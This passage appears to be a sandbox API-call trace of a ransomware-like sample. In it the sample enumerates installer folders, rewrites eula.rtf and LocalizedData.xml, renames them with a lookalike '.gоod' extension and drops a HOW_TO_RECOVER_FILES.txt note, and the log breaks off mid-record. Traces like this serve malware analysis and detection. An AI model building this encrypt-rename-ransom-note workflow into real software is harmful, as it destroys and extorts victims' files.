[0100.911] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0100.911] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.911] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0100.912] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0100.912] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0100.912] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0100.912] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0100.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0100.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0100.912] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\eula.rtf", lpFilePart=0x0) returned 0x23 [0100.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0100.912] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x34690f0 | out: lpFileInformation=0x34690f0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xbe6)) returned 1 [0100.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0100.913] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\eula.rtf", lpFilePart=0x0) returned 0x23 [0100.913] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0100.913] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0100.913] GetFileType (hFile=0x7b0) returned 0x1 [0100.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0100.913] GetFileType (hFile=0x7b0) returned 0x1 [0100.913] GetFileSize (in: hFile=0x7b0, lpFileSizeHigh=0x1f6edcf8 | out: lpFileSizeHigh=0x1f6edcf8*=0x0) returned 0xbe6 [0100.913] ReadFile (in: hFile=0x7b0, lpBuffer=0x3469ee0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc28, lpOverlapped=0x0 | out: lpBuffer=0x3469ee0*, lpNumberOfBytesRead=0x1f6edc28*=0xbe6, lpOverlapped=0x0) returned 1 [0100.914] CloseHandle (hObject=0x7b0) returned 1 [0101.579] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed630, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\eula.rtf", lpFilePart=0x0) returned 0x23 [0101.579] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edb50) returned 1 [0101.579] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0101.580] GetFileType (hFile=0x7dc) returned 0x1 [0101.580] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edac0) returned 1 [0101.580] GetFileType (hFile=0x7dc) returned 0x1 [0101.580] WriteFile (in: hFile=0x7dc, lpBuffer=0x3417fd8*, nNumberOfBytesToWrite=0xbf0, lpNumberOfBytesWritten=0x1f6edb38, lpOverlapped=0x0 | out: lpBuffer=0x3417fd8*, lpNumberOfBytesWritten=0x1f6edb38*=0xbf0, lpOverlapped=0x0) returned 1 [0101.581] CloseHandle (hObject=0x7dc) returned 1 [0101.581] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\eula.rtf", lpFilePart=0x0) returned 0x23 [0101.581] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0101.581] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0101.581] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x38c31cef, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbf0)) returned 1 [0101.581] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0101.581] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1044\\eula.rtf.gоod")) returned 1 [0102.004] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.004] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0102.004] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x35d8350 | out: lpFileInformation=0x35d8350*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x135c0)) returned 1 [0102.005] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0102.005] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.007] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0102.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.030] GetFileType (hFile=0x7dc) returned 0x1 [0102.030] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0102.030] GetFileType (hFile=0x7dc) returned 0x1 [0102.030] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0102.030] ReadFile (in: hFile=0x7dc, lpBuffer=0x35ddfa0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x35ddfa0*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0102.031] CloseHandle (hObject=0x7dc) returned 1 [0102.031] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.031] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0102.031] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.031] GetFileType (hFile=0x7dc) returned 0x1 [0102.031] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0102.031] GetFileType (hFile=0x7dc) returned 0x1 [0102.032] SetFilePointer (in: hFile=0x7dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x135c0 [0102.032] WriteFile (in: hFile=0x7dc, lpBuffer=0x35df210*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x35df210*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0102.032] CloseHandle (hObject=0x7dc) returned 1 [0102.032] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0102.032] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.033] GetFileType (hFile=0x7dc) returned 0x1 [0102.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0102.033] GetFileType (hFile=0x7dc) returned 0x1 [0102.033] ReadFile (in: hFile=0x7dc, lpBuffer=0x35e19c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x35e19c0*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0102.095] CloseHandle (hObject=0x7dc) returned 1 [0102.095] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.095] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0102.095] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0102.095] GetFileType (hFile=0x7dc) returned 0x1 [0102.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0102.095] GetFileType (hFile=0x7dc) returned 0x1 [0102.095] WriteFile (in: hFile=0x7dc, lpBuffer=0x3443b20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3443b20*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0102.096] CloseHandle (hObject=0x7dc) returned 1 [0102.096] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0102.096] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0102.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0102.096] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x3911c81d, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x135d0)) returned 1 [0102.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0102.096] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1044\\localizeddata.xml.gоod")) returned 1 [0102.097] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1044\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1044\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0102.097] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0102.097] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1044\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1044\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0102.097] GetFileType (hFile=0x7dc) returned 0x1 [0102.097] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0102.097] GetFileType (hFile=0x7dc) returned 0x1 [0102.098] WriteFile (in: hFile=0x7dc, lpBuffer=0x3485fe0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x3485fe0*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0102.098] CloseHandle (hObject=0x7dc) returned 1 [0102.099] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0102.099] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045", lpFilePart=0x0) returned 0x1a [0102.099] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0102.099] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.100] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0102.100] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0102.100] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0102.100] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.100] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0102.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0102.100] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0102.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0102.100] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045", lpFilePart=0x0) returned 0x1a [0102.100] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0102.101] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.101] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0102.101] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0102.101] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0102.101] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0102.101] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0102.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0102.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0102.102] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1045\\eula.rtf", lpFilePart=0x0) returned 0x23 [0102.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0102.102] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: 